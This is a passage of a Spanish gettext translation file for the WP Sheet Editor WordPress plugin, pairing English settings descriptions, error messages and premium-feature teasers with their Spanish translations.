twitter account and update 100 posts in the spreadsheet " "editor you might end up with 100 tweets shared in your twitter account. So " "enable this option if you want to update / create posts silently without " "executing those functions." msgstr "" "Algunos plugins ejecutan una tarea después de crear o actualizar una " "entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus " "perfiles sociales, otros plugins notifican a los usuarios después de que una " "entrada es actualizada, etc. Puede que haya un problema con esos plugins. " "Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de " "twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes " "terminar con 100 tweets compartidos en tu cuenta de twitter. Así que " "habilita esta opción si quieres actualizar / crear posts silenciosamente sin " "ejecutar esas funciones." #: wp-sheet-editor/dev/inc/options-init.php:164 msgid "Suspend object cache invalidation?" msgstr "¿Suspender la invalidación de la caché de objetos?" #: wp-sheet-editor/dev/inc/options-init.php:165 msgid "" "Disable this if you are using a object/database cache plugin. We disable " "this by default to make the saving faster, when you edit a lot of posts " "WordPress tries to \"clean up\" the cache even if you are not using a cache " "plugin, making hundreds of unnecessary database queries." msgstr "" "Deshabilita esta opción si estás usando un plugin de caché de objetos/bases " "de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. " "Cuando editas muchas entradas, WordPress intenta \"limpiar\" la caché " "incluso si no estás usando un plugin de caché, haciendo cientos de consultas " "innecesarias a la base de datos." #: wp-sheet-editor/dev/inc/options-init.php:171 msgid "Disable the replacement of line breaks with p tags?" msgstr "¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?" #: wp-sheet-editor/dev/inc/options-init.php:172 msgid "" "When the sheet loads and saves post content, we run it through wpautop to " "prevent issues with line breaks. You can disable this if you dont want to " "see/save the p tags in the content." msgstr "" "Cuando se carga la hoja de cálculo y guarda el contenido de las filas, la " "ejecutamos a través de wpautop para evitar problemas de saltos de línea. " "Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el " "contenido." #: wp-sheet-editor/dev/inc/options-init.php:178 msgid "Deactivate the data prefetch" msgstr "Desactivar el prefetch de los datos" #: wp-sheet-editor/dev/inc/options-init.php:179 msgid "" "When you load the spreadsheet, we get all the columns at once from the " "database to make it faster, this is called prefetch. This can cause issues " "if you have thousands of columns or rare database setups." msgstr "" "Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de " "la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede " "causar problemas si tienes miles de columnas o configuraciones raras en tus " "bases de datos." #: wp-sheet-editor/dev/inc/options-init.php:185 msgid "Meta keys that should use the infinite serialized fields handler" msgstr "" "Claves meta que deben utilizar el administrador de campos serializados " "infinitos" #: wp-sheet-editor/dev/inc/options-init.php:186 msgid "" "This is only for advanced users or if our support team asks you to use this " "option. We have 2 ways to handle serialized fields: the old handler (used by " "default, which has limitations) and the infinite serialization handler " "(better, it is not active by default to not break previous integrations). " "Use this option if you have serialized fields that save incorrectly or dont " "appear in the spreadsheet." msgstr "" "Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide " "que uses esta opción. Tenemos dos maneras de manejar los campos " "serializados: el antiguo controlador (usado por defecto, que tiene " "limitaciones) y el controlador de serialización infinita (mejor, no está " "activo por defecto para no romper integraciones anteriores). Utiliza esta " "opción si tienes campos serializados que se guardan incorrectamente o no " "aparecen en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:191 msgid "Blacklist these columns" msgstr "Poner estas columnas en la lista negra" #: wp-sheet-editor/dev/inc/options-init.php:192 msgid "" "Enter the list of field keys separated by commas, you can enter the full " "meta field key or partial keywords or prefixes. This is useful because some " "plugins add thousands of unnecessary fields to the database and they clutter " "the spreadsheet" msgstr "" "Ingresa la lista de claves de campo separadas por comas, puedes ingresar la " "clave completa del campo meta o las palabras clave o prefijos parciales. " "Esto es útil porque algunos plugins añaden miles de campos innecesarios a la " "base de datos y desordenan la hoja de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:197 msgid "Enable the utf8 encoding fix" msgstr "Habilitar la corrección de la codificación utf8" #: wp-sheet-editor/dev/inc/options-init.php:198 msgid "This might help if the spreadsheet doesnt load or it loads empty." msgstr "" "Esto puede ayudar si la hoja de cálculo no carga filas o si las filas " "aparecen vacías." #: wp-sheet-editor/dev/inc/options-init.php:205 msgid "Maximum number of seconds to download external images?" msgstr "Número máximo de segundos para descargar imágenes externas?" #: wp-sheet-editor/dev/inc/options-init.php:206 msgid "" "Default: 4. When you enter an external image URL in any image cells (or " "during the import), we download the image file into the WordPress media " "library and save it in the field. By default, we limit the download time to " "4 seconds, any download that exceeds that number of seconds will be cancelled" msgstr "" "Por defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o " "durante la importación, descargamos la imagen y la guardamos en la librería " "multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, " "cualquier descarga que supere eso será cancelada para evitar problemas de " "rendimiento." #: wp-sheet-editor/dev/inc/options-init.php:212 msgid "Maximum meta fields displayed in the advanced filters dropdown" msgstr "Cantidad máxima de campos disponibles para búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:213 msgid "" "We limit the list of fields to 1000 meta fields to avoid memory leaks/" "performance issues. If you want to search by a field that does not appear in " "the dropdown, increase this number." msgstr "" "Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de " "memoria/problemas de rendimiento. Si quieres buscar por un campo que no " "aparece en el desplegable, aumenta este número." #: wp-sheet-editor/dev/inc/options-init.php:219 msgid "Allow line breaks in values during the export and import process" msgstr "Permitir saltos de línea en valores al exportar e importar?" #: wp-sheet-editor/dev/inc/options-init.php:220 msgid "" "We will not execute our removal of duplicate rows when the line breaks are " "allowed, so you might see duplicate rows in the export files in rare cases." msgstr "" "No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan " "los saltos de línea, por lo que es posible que veas filas duplicadas en los " "archivos de exportación en casos excepcionales." #: wp-sheet-editor/dev/inc/options-init.php:226 msgid "Allow safe html in post titles?" msgstr "Permitir HTML seguro en títulos de posts?" #: wp-sheet-editor/dev/inc/options-init.php:227 msgid "" "We will remove all the html tags by default. Activate this option to allow " "safe html tags, like b, span, i, etc" msgstr "" "Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para " "permitir etiquetas html seguras, como b, span, i, etc." #: wp-sheet-editor/dev/inc/options-init.php:233 msgid "Attach every taxonomy term in the hierarchy to the posts?" msgstr "¿Acoplar cada término de taxonomía de la jerarquía a los posts?" #: wp-sheet-editor/dev/inc/options-init.php:234 msgid "" "By default, we only attach the last term in the hierarchy to the posts " "because WordPress automatically handles them correctly. But if you want to " "assign each term to the post, including the parent categories, activate this " "option" msgstr "" "Por defecto, sólo asignamos el último término de la jerarquía a las entradas " "porque WordPress las gestiona correctamente de forma automática. Pero si " "quieres asignar cada término a la entrada, incluyendo las categorías padre, " "habilita esta opción." #: wp-sheet-editor/dev/inc/options-init.php:240 msgid "Always run the save_post action after any post row is edited?" msgstr "" "¿Ejecutar siempre la acción save_post después de editar cualquier fila de la " "entrada?" #: wp-sheet-editor/dev/inc/options-init.php:241 msgid "" "By default, we run the save_post action only when a post data field is " "updated (fields other than meta and taxonomies) for performance reasons. " "Enable this if other plugins aren't detecting our changes or webhooks aren't " "running." msgstr "" "Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un " "campo de datos de la entrada (campos que no sean meta y taxonomías) por " "razones de rendimiento. Habilita esto si otros plugins no están detectando " "nuestros cambios o los webhooks no se están ejecutando." #: wp-sheet-editor/dev/inc/options-init.php:250 msgid "Customize features" msgstr "¿Personalizar las características" #: wp-sheet-editor/dev/inc/options-init.php:255 msgid "Enable option to restrict spreadsheet views per user?" msgstr "" "¿Habilitar la opción de restringir las vistas de hojas de cálculo por " "usuario?" #: wp-sheet-editor/dev/inc/options-init.php:256 msgid "" "If you enable this option, we will add fields to the user profiles where you " "can specify which spreadsheet views they can use, they can use all the " "spreadsheet views if this is deactivated." msgstr "" "Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde " "podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden " "utilizar todas las vistas de la hoja de cálculo si esto está desactivado." #: wp-sheet-editor/dev/inc/options-init.php:262 msgid "Enable simple mode?" msgstr "¿Habilitar el modo simple?" #: wp-sheet-editor/dev/inc/options-init.php:263 msgid "" "If you enable this option, we will simplify the spreadsheet options and " "remove advanced examples, tips, and options rarely used in the search tool, " "bulk edit tool, import tool, export tool, and other places." msgstr "" "Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo " "y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la " "herramienta de búsqueda, la herramienta de edición masiva, la herramienta de " "importación, la herramienta de exportación y otros lugares." #: wp-sheet-editor/dev/inc/options-init.php:269 msgid "Disable the automatic formatting detection?" msgstr "¿Deshabilitar la detección automática del formato?" #: wp-sheet-editor/dev/inc/options-init.php:270 msgid "" "If you enable this option, some columns will appear as text. Normally we " "detect the date fields, image fields." msgstr "" "Si habilitas esta opción, algunas columnas aparecerán como texto. " "Normalmente detectamos los campos de fecha, campos de imagen." #: wp-sheet-editor/dev/inc/options-init.php:276 msgid "Disable cells lazy loading?" msgstr "¿Deshabilitar la carga lenta de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:277 msgid "" "The spreadsheet loads only the \"visible rows\" for performance reasons, so " "when you scroll up or down the rows are loaded dynamically. This way you can " "\"open\" thousands of posts in the spreadshet and it will work fast. " "However, if you want to use the browser search to find a specific cell, you " "need to disable the lazy loading in order to load all the rows at once and " "the browser will be able to find the cells. The browser search doesn't work " "by default because only the \"visible rows\" are actually created." msgstr "" "La hoja de cálculo carga sólo las \"filas visibles\" por razones de " "rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las " "filas se cargan dinámicamente. De esta manera puedes \"abrir\" miles de " "posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres " "usar la búsqueda del navegador para encontrar una celda específica, " "necesitas deshabilitar la carga perezosa para cargar todas las filas a la " "vez y el navegador será capaz de encontrar las celdas. La búsqueda en el " "navegador no funciona por defecto porque sólo se crean las \"filas " "visibles\"." #: wp-sheet-editor/dev/inc/options-init.php:283 msgid "Disable usage stats widget?" msgstr "¿Deshabilitar el widget de estadísticas de uso?" #: wp-sheet-editor/dev/inc/options-init.php:284 msgid "" "If you enable this option, the usage stats widget shown in the wp-admin " "dashboard will be removed." msgstr "" "Si habilitas esta opción, el widget de estadísticas de uso que se muestra en " "el panel de control de wp-admin será eliminado." #: wp-sheet-editor/dev/inc/options-init.php:290 msgid "Disable serialized columns support?" msgstr "¿Deshabilitar el soporte de columnas serializadas?" #: wp-sheet-editor/dev/inc/options-init.php:291 msgid "" "The spreadsheet automatically generates columns for serialized fields, but " "this can use a lot of CPU cycles depending on the number of serialized " "fields. You can disable this feature if the sheet is too slow to load or you " "get errors when loading the rows or you dont want to see columns with prefix " "\"SEIS\"." msgstr "" "La hoja de cálculo genera automáticamente columnas para los campos " "serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del " "número de campos serializados. Puedes deshabilitar esta característica si la " "hoja es demasiado lenta para cargar o si obtienes errores al cargar las " "filas o no quieres ver las columnas con el prefijo \"SEIS\"." #: wp-sheet-editor/dev/inc/options-init.php:297 msgid "Disable the heartbeat api in the spreadsheet?" msgstr "¿Deshabilitar la api heartbeat en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:298 msgid "" "WordPress uses the heartbeat API to check the login status every few " "seconds. This can overload your server because it could make hundreds of " "requests when you are editing in the spreadsheet. You can disable it to " "reduce the stress on your server while editing in the sheet. However, if you " "keep the spreadsheet opened over multiple days your login session can expire " "and you wont be notified if you disable the heartbeat and this can cause " "issues while saving. So use this option only when you use the spreadsheet " "for a few hours only." msgstr "" "WordPress utiliza la API de heartbeat para comprobar el estado de inicio de " "sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que " "podría hacer cientos de peticiones cuando se está editando en la hoja de " "cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor " "mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de " "cálculo abierta durante varios días, tu sesión de inicio de sesión puede " "caducar y no se te notificará si dehabilitas el heartbeat, lo que puede " "causar problemas al guardarla. Así que usa esta opción sólo cuando uses la " "hoja de cálculo durante unas pocas horas." #: wp-sheet-editor/dev/inc/options-init.php:303 msgid "User roles that can use the spreadsheet editor" msgstr "Roles de usuario que pueden utilizar el editor de hojas de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:304 msgid "The plugin will not initialize for the user roles not selected here." msgstr "" "El plugin no se inicializará para los roles de usuario no seleccionados aquí." #: wp-sheet-editor/dev/inc/options-init.php:312 msgid "Enable the fancy taxonomy terms selector" msgstr "Habilitar el selector de términos de taxonomía bonito" #: wp-sheet-editor/dev/inc/options-init.php:313 msgid "" "Backwards compatibility. This setting will be removed in future updates." msgstr "" "Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras " "actualizaciones." #: wp-sheet-editor/dev/inc/options-init.php:319 msgid "What cell format to use for the taxonomy columns?" msgstr "¿Qué formato de celda se debe utilizar para las columnas de taxonomía?" #: wp-sheet-editor/dev/inc/options-init.php:321 msgid "New multi select dropdown (Default)" msgstr "Nuevo menú desplegable de selección múltiple (predeterminado)" #: wp-sheet-editor/dev/inc/options-init.php:322 msgid "Old single select autocomplete" msgstr "Autocompletado de selección simple antiguo" #: wp-sheet-editor/dev/inc/options-init.php:328 msgid "Show all the custom post statuses?" msgstr "¿Mostrar todos los estados de posts personalizados?" #: wp-sheet-editor/dev/inc/options-init.php:329 msgid "" "By default we show the CORE statuses: published, draft, private, scheduled, " "trash. However, some plugins register custom statuses: job managers, " "woocommerce. Enable this option to show all the custom statuses in the " "\"status\" column. CAREFUL. We will show all the statuses from all the post " "types in the dropdown because it is impossible to know the post type of each " "status to we can not separate them. Do this only if you are a developer." msgstr "" "Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, " "programado, papelera. Sin embargo, algunos plugins registran estados " "personalizados: gestores de trabajos, comercio de madera. Habilita esta " "opción para mostrar todos los estados personalizados en la columna " "\"status\". CUIDADO. Mostraremos todos los estados de todos los post types " "en el desplegable porque es imposible saber el post type de cada estado al " "no poder separarlos. Haz esto sólo si eres un desarrollador." #: wp-sheet-editor/dev/inc/options-init.php:335 msgid "Remove help messages from the cells?" msgstr "¿Ocultar los mensajes de ayuda de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:336 msgid "" "By default we show comments in some columns indicating the value format or " "why they are locked. for example, the category column shows a tip indicating " "to separate terms with a comma and how to add child categories, variation " "columns have a tip indicating why they are locked for parent products. You " "can activate this option to disable those tips." msgstr "" "Por defecto, mostramos comentarios en algunas columnas indicando el formato " "del valor o por qué están bloqueados. Por ejemplo, la columna de categorías " "muestra un consejo que indica que hay que separar los términos con una coma " "y cómo añadir categorías menores, las columnas de variaciones tienen un " "consejo que indica por qué están bloqueadas para los productos de los " "padres. Puedes activar esta opción para desactivar esos consejos." #: wp-sheet-editor/dev/inc/options-init.php:342 msgid "Manage taxonomy column values as term ids?" msgstr "" "¿Administrar los valores de las columnas de taxonomía como IDs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:343 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term ids separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los ID de los términos separados " "por comas." #: wp-sheet-editor/dev/inc/options-init.php:349 msgid "Manage taxonomy column values as term slugs?" msgstr "" "¿Gestionar los valores de las columnas de taxonomía como slugs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:350 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term slugs separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los términos separados por comas." #: wp-sheet-editor/dev/inc/options-init.php:356 msgid "Do you want to deactivate columns for new fields found?" msgstr "¿Quieres deshabilitar las columnas para los nuevos campos encontrados?" #: wp-sheet-editor/dev/inc/options-init.php:357 msgid "" "By default we automatically show columns for all the new fields found, so " "everytime we detect new fields you can see them and edit right away. But " "this might \"break\" your column sorting or annoy you if you have enabled " "specific columns. Enable this option to generate those columns but leave " "them deactivated so you can enable them later." msgstr "" "Por defecto mostramos automáticamente columnas para todos los nuevos campos " "encontrados, así que cada vez que detectamos nuevos campos puedes verlos y " "editarlos inmediatamente. Pero esto puede \"romper\" tu orden de columnas o " "molestarte si has habilitado columnas específicas. Habilita esta opción para " "generar esas columnas pero dejarlas desactivadas para que puedas " "habilitarlas más tarde." #: wp-sheet-editor/dev/inc/options-init.php:364 msgid "Math formula roundup decimals" msgstr "" "Decimales para redondear valores al realizar ediciones masivas en columnas " "numéricas?" #: wp-sheet-editor/dev/inc/options-init.php:365 msgid "" "We automatically round up to 2 decimals. You can enter any number here, for " "example, 1 to round to 1 decimal" msgstr "" "Redondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número " "aquí, por ejemplo, 1 para redondear a 1 decimal" #: wp-sheet-editor/dev/inc/options-init.php:371 msgid "Display raw value on select cells?" msgstr "¿Mostrar el valor bruto en las celdas seleccionadas?" #: wp-sheet-editor/dev/inc/options-init.php:372 msgid "" "By default, we show the label in the cell instead of the raw value. But you " "can enable this option to display the raw value in the cells." msgstr "" "Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. " "Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas." #: wp-sheet-editor/dev/inc/options-init.php:378 msgid "" "Delete user accounts in the entire network when deleting users in the " "spreadsheet?" msgstr "" "¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de " "cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:379 msgid "" "When you use WordPress multisite and you delete a user in the users " "spreadsheet, by default we only remove the user from the current site but " "the user remains in the network. Activate this option if you want to delete " "the user account from the entire network" msgstr "" "Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de " "usuarios, por defecto solo removemos el usuario del sitio actual. Habilita " "esta opción para eliminar al usuario de toda la red." #: wp-sheet-editor/dev/inc/options-init.php:385 msgid "Disable the addition of file ID to the image URLs?" msgstr "¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:386 msgid "" "By default, when you export the featured image column or gallery columns, we " "add the file ID to each image url so we can import them later faster. You " "can activate this option to not add the file id and the import will work " "fine later but it wont be as fast" msgstr "" "Por defecto, al exportar una columna con imágenes, agregamos el ID del " "archivo a la URL para que al importar, sepamos el origen de la imagen y la " "guardemos más rápido. Activa esta opción para no agregar el ID a la URL, " "todo funciona bien al habilitar esta opción, solo que el guardado puede ser " "un poquito más lento." #: wp-sheet-editor/dev/inc/options-init.php:392 msgid "Disable the display of file names in the image columns?" msgstr "¿No mostrar el nombre del archivo en la celda de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:393 msgid "" "By default, we show the file name as a preview next to the thumbnail, you " "can activate this to show the thumbnail and upload buttons only" msgstr "" "Por defecto, mostramos el nombre del archivo como texto de vista previa " "junto a la miniatura, habilita esto para mostrar solo la miniatura y botones " "únicamente." #: wp-sheet-editor/dev/inc/options-init.php:399 msgid "Add html classes to the \"post status\" cells based on their values?" msgstr "" "¿Añadir clases html a las celdas \" estado de la entrada \" en función de " "sus valores?" #: wp-sheet-editor/dev/inc/options-init.php:400 msgid "" "You can activate this option if you want to add html classes, and use those " "html classes to change the cell colors for each status using custom CSS" msgstr "" "Puedes habilitar esta opción si quieres añadir clases html, y usar esas " "clases html para cambiar los colores de las celdas para cada estado usando " "CSS personalizado" #: wp-sheet-editor/dev/inc/options-init.php:407 msgid "" "Maximum number of characters displayed in the preview of the values of " "tinymce columns?" msgstr "" "¿Número máximo de caracteres mostrados en la vista previa de los valores de " "las columnas tinymce?" #: wp-sheet-editor/dev/inc/options-init.php:408 msgid "" "By default, we only display 30 characters. You can increase the number here " "to view larger previews." msgstr "" "Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí " "para ver previsualizaciones más grandes." #: wp-sheet-editor/dev/inc/options-init.php:414 msgid "Manage the post parent column using IDs?" msgstr "¿Administrar la columna \"Padre\" usando los IDs?" #: wp-sheet-editor/dev/inc/options-init.php:415 msgid "" "By default, the \"parent\" column displays titles and saves using titles. If " "you activate this option, the column will display IDs and save IDs. This is " "useful if you have duplicate titles and you need to save the exact parent by " "ID." msgstr "" "Por defecto, la columna \"padre\" muestra títulos y guarda utilizando " "títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. " "Esto es útil si tienes títulos duplicados y necesitas guardar el padre " "exacto por ID." #: wp-sheet-editor/dev/inc/options-init.php:420 msgid "Enable the dark mode?" msgstr "¿Habilitar modo oscuro?" #: wp-sheet-editor/dev/inc/options-init.php:424 msgid "Auto (Default)" msgstr "Automático (por defecto)" #: wp-sheet-editor/dev/inc/options-init.php:425 msgid "Light mode" msgstr "Modo claro" #: wp-sheet-editor/dev/inc/options-init.php:426 msgid "Dark mode" msgstr "Modo oscuro" #: wp-sheet-editor/dev/inc/options-init.php:433 msgid "General settings" msgstr "Ajustes generales" #: wp-sheet-editor/dev/inc/options-init.php:438 msgid "" "In this page you can quickly set up the spreadsheet editor. This all you " "need to use the editor. The settings on the other tabs are completely " "optional and allow you to tweak the performance of the editor among other " "things." msgstr "" "En esta página puedes configurar rápidamente el editor de hojas de cálculo. " "Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras " "pestañas son completamente opcionales y te permiten ajustar el rendimiento " "del editor entre otras cosas." #: wp-sheet-editor/dev/inc/options-init.php:445 msgid "Misc" msgstr "Miscelánea" #: wp-sheet-editor/dev/inc/options-init.php:451 msgid "Image preview width inside the cell" msgstr "Ancho de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:458 msgid "Image preview height inside the cell" msgstr "Altura de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:465 msgid "Initial rows offset" msgstr "Desfase inicial de las filas" #: wp-sheet-editor/dev/inc/options-init.php:466 msgid "" "When you have 1000 posts , you might want to open the spreadsheet and start " "editing from post 200. This option lets you skip a lot of rows. IMPORTANT. " "We use the pagination, so we will display the page closest to that number. " "For example. If you load 10 rows per page and enter 1205 as offset, the " "sheet will start from page 120 (index 1200) because it is the page closest " "to the defined offset." msgstr "" "Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y " "empezar a editar desde las fila 200. Esta opción te permite saltar muchas " "filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más " "cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas " "1205 como desplazamiento, la hoja comenzará desde la página 120 (índice " "1200) porque es la página más cercana al desplazamiento definido." #: wp-sheet-editor/dev/inc/options-init.php:472 msgid "Delete the attached images when deleting a post?" msgstr "¿Borrar las imágenes adjuntas al borrar una entrada?" #: wp-sheet-editor/dev/inc/options-init.php:473 msgid "" "For example, when deleting a post completely (not moving to the trash), " "delete the featured image and product gallery images from the media library. " "CAREFUL.If you use the same images on multiple posts, it will break the " "images on other posts" msgstr "" "Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se " "borra la imagen destacada y las imágenes de la galería de productos de la " "biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, " "se romperán las imágenes en otros posts" #: wp-sheet-editor/dev/inc/options-init.php:481 msgid "Spreadsheets enabled for these post types" msgstr "Hojas de cálculo habilitadas para estos post types" #: wp-sheet-editor/dev/inc/options-init.php:486 msgid "Disable the help toolbar?" msgstr "¿Deshabilitar la barra de ayuda?" #: wp-sheet-editor/dev/inc/options-init.php:487 msgid "This will hide the \"help\" option in the top toolbar" msgstr "Esto ocultará la opción \"ayuda\" de la barra de herramientas superior" #: wp-sheet-editor/dev/inc/options-init.php:494 msgid "Maximum visible characters in locked cells" msgstr "Máximo de caracteres visibles en las celdas bloqueadas" #: wp-sheet-editor/dev/inc/options-init.php:495 msgid "" "Locked cells only show a preview of the value. The default character length " "is %d" msgstr "" "Las celdas bloqueadas sólo muestran una vista previa del valor. La longitud " "de caracteres por defecto es %d" #: wp-sheet-editor/dev/inc/options-init.php:501 msgid "Don't show read-only columns in the advanced search?" msgstr "¿No mostrar columnas de sólo lectura en la búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:510 msgid "Disable extension offerings?" msgstr "¿Deshabilitar la promoción de extensiones?" #: wp-sheet-editor/dev/inc/options-init.php:516 msgid "Don't display the disabled columns in the modules?" msgstr "¿No mostrar las columnas deshabilitadas en los módulos?" #: wp-sheet-editor/dev/inc/options-init.php:517 msgid "" "By default, we show all the columns in the app modules (advanced search, " "bulk edit, export, import, etc), even if they're disabled in the columns " "manager. Activate this option to only display enabled columns." msgstr "" "Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda " "avanzada, edición masiva, exportación, importación, etc), aunque estén " "deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar " "solo las columnas habilitadas." #: wp-sheet-editor/dev/inc/options-init.php:523 msgid "" "Allow users with the capability unfiltered_html to save any html in the post " "content column?" msgstr "" "¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier " "html en la columna de contenido del post?" #: wp-sheet-editor/dev/inc/options-init.php:524 msgid "" "By default, we remove any unsafe html from all the spreadsheet columns " "before saving the values. You can activate this option if you want to allow " "the WordPress super admins or administrators to add iframes, ad codes, etc " "to the post content. Use it at your own risk." msgstr "" "Por defecto, eliminamos cualquier html inseguro de todas las columnas de la " "hoja de cálculo antes de guardar los valores. Puedes activar esta opción si " "quieres permitir a los superadministradores o administradores de WordPress " "añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala " "bajo tu propia responsabilidad." #: wp-sheet-editor/dev/inc/options-init.php:531 msgid "Generate serialized fields columns based on these posts" msgstr "Generar columnas de campos serializados basados en estos posts" #: wp-sheet-editor/dev/inc/options-init.php:532 msgid "" "This option allows you to indicate what posts to use as templates for " "specific serialized fields. Enter the field key and post ID separated with a " "colon. For example: serialized_key1:89, serializedkey2:90" msgstr "" "Esta opción te permite indicar qué posts utilizar como plantillas para " "campos serializados específicos. Ingresa la clave del campo y el ID del post " "separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90" #: wp-sheet-editor/dev/inc/providers/post.php:511 msgid "" "Row ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your " "CSV uses the right name in the post type column." msgstr "" "Fila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu " "CSV utiliza el nombre correcto en la columna Post type." #: wp-sheet-editor/dev/inc/providers/post.php:527 msgid "" "Row ID: %d. You are trying to save an empty post type. Make sure your CSV " "uses the right name in the post type column." msgstr "" "Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el " "nombre correcto en la columna \"Tipo de post\" o \"Post Type\"." #: wp-sheet-editor/dev/inc/providers/post.php:636 msgid "Row ID: %d, You do not have permission to delete this post." msgstr "Fila: %d. No tienes suficientes permisos para borrar este post." #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Go Premium" msgstr "Pásate a Premium" #: wp-sheet-editor/dev/inc/teasers/coupons.php:33 msgid "WooCommerce Coupons" msgstr "Cupones WooCommerce" #: wp-sheet-editor/dev/inc/teasers/coupons.php:51 msgid "" "Edit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, " "restrictions, and more. Make advanced searches. The spreadsheet is in sync " "with your site, no need to import/export. Download Plugin" msgstr "" "Editar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, " "estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de " "cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/formulas.php:34 msgid "Apply changes in bulk" msgstr "Aplicar cambios masivamente" #: wp-sheet-editor/dev/inc/teasers/formulas.php:56 msgid "Bulk Update feature" msgstr "Función de cambios masivos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:58 msgid "" "The \"bulk update\" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:" msgstr "" "La función \"Editor Masivo\" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/formulas.php:61 msgid "Replace words or phrases in your posts titles, content, or other fields" msgstr "" "Reemplazar palabras o frases en los títulos, contenido u otros campos de tus " "posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:62 msgid "Increase or decrease products prices" msgstr "Aumentar o disminuir los precios de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:63 msgid "Increase or decrease products stock" msgstr "Aumentar o disminuir el inventario de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:64 msgid "Move all your drafts to published posts or any other status" msgstr "" "Mover todos tus borradores a posts publicados o a cualquier otro estado" #: wp-sheet-editor/dev/inc/teasers/formulas.php:65 msgid "Set hundreds of products at once as out of stock or in stock" msgstr "" "Configurar cientos de productos a la vez como sin existencias o en " "existencias" #: wp-sheet-editor/dev/inc/teasers/formulas.php:66 msgid "" "Add call to actions or any text at the beginning or ending of your posts" msgstr "" "Añadir una llamada a la acción o cualquier texto al principio o al final de " "tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:67 msgid "Replace old shortcodes with new shortcodes in all your posts" msgstr "" "Reemplazar los shortcodes viejos por shortcodes nuevos en todos tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:68 msgid "Set the same featured image in all the posts in a category" msgstr "Ponerle la misma imagen destacada a todos los posts de una categoría" #: wp-sheet-editor/dev/inc/teasers/formulas.php:69 msgid "Move hundreds of posts to 